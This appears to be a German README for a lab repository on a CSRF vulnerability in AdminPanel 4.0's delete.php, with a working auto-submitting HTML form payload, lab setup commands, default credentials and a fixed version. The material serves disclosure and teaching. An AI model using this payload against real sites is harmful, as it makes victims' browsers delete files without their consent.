
Bildungsorientierte CSRF-Schwachstellendemonstration mit einer kontrollierten Laborumgebung, einschließlich eines Proof-of-Concept-Exploits und einer korrigierten Version mit ordnungsgemäßen CSRF-Schutzmaßnahmen.
CVE-ID: CVE-2026-30498 (von MITRE reserviert)
Entdecker: Mehdi Ben Hamou
Eine Cross-Site-Request-Forgery (CSRF)-Schwachstelle besteht im delete.php-Endpunkt von AdminPanel 4.0.
Diese Schwachstelle ermöglicht es einem Angreifer, sensible Aktionen (Dateilöschung) im Namen eines authentifizierten Benutzers ohne dessen Zustimmung auszulösen.
Die Schwachstelle wird durch das Fehlen von CSRF-Schutzmechanismen verursacht:
Der anfällige Endpunkt verarbeitet Anfragen direkt auf Basis der Benutzersitzung, ohne die Quelle der Anfrage zu validieren.
Eine erfolgreiche Ausnutzung führt zu:
verifyPanel.phpEin Angreifer hostet eine bösartige Webseite, die eine gefälschte Anfrage sendet:
http://localhost:8080/delete.php?file=verifyPanel.php
Wenn ein Opfer (authentifizierter Benutzer) diese Seite besucht, fügt der Browser automatisch Sitzungscookies hinzu und die Anfrage wird ausgeführt.
<form id="csrfForm" action="http://localhost:8080/delete.php" method="GET">
<input type="hidden" name="file" value="verifyPanel.php">
</form>
<script>
document.getElementById("csrfForm").submit();
</script>
Diese Anfrage wird automatisch mit dem Sitzungscookie des Opfers gesendet.
php -S localhost:8080
http://localhost:8080
admin / admin123
http://localhost:8081/evil.html
/panel/dashboard.php
Dieses Repository enthält eine kontrollierte Laborumgebung, um die Schwachstelle sicher zu reproduzieren.
Wichtig: Dieses Labor ist eine Simulation und stellt nicht den exakten ursprünglichen AdminPanel-Code dar.
Um die Umgebung zurückzusetzen:
/reset.php
Eine sichere Version ist implementiert in:
delete_fixed.php
Hinzugefügte Schutzmechanismen:
victim/
├── index.php
├── delete.php
├── delete_fixed.php
├── reset.php
└── panel/
└── dashboard.php
attacker/
└── evil.html
Dieses Projekt ist ausschließlich für Bildungs- und Forschungszwecke bestimmt.
Verwenden Sie diese Schwachstelle nicht auf Systemen ohne entsprechende Autorisierung.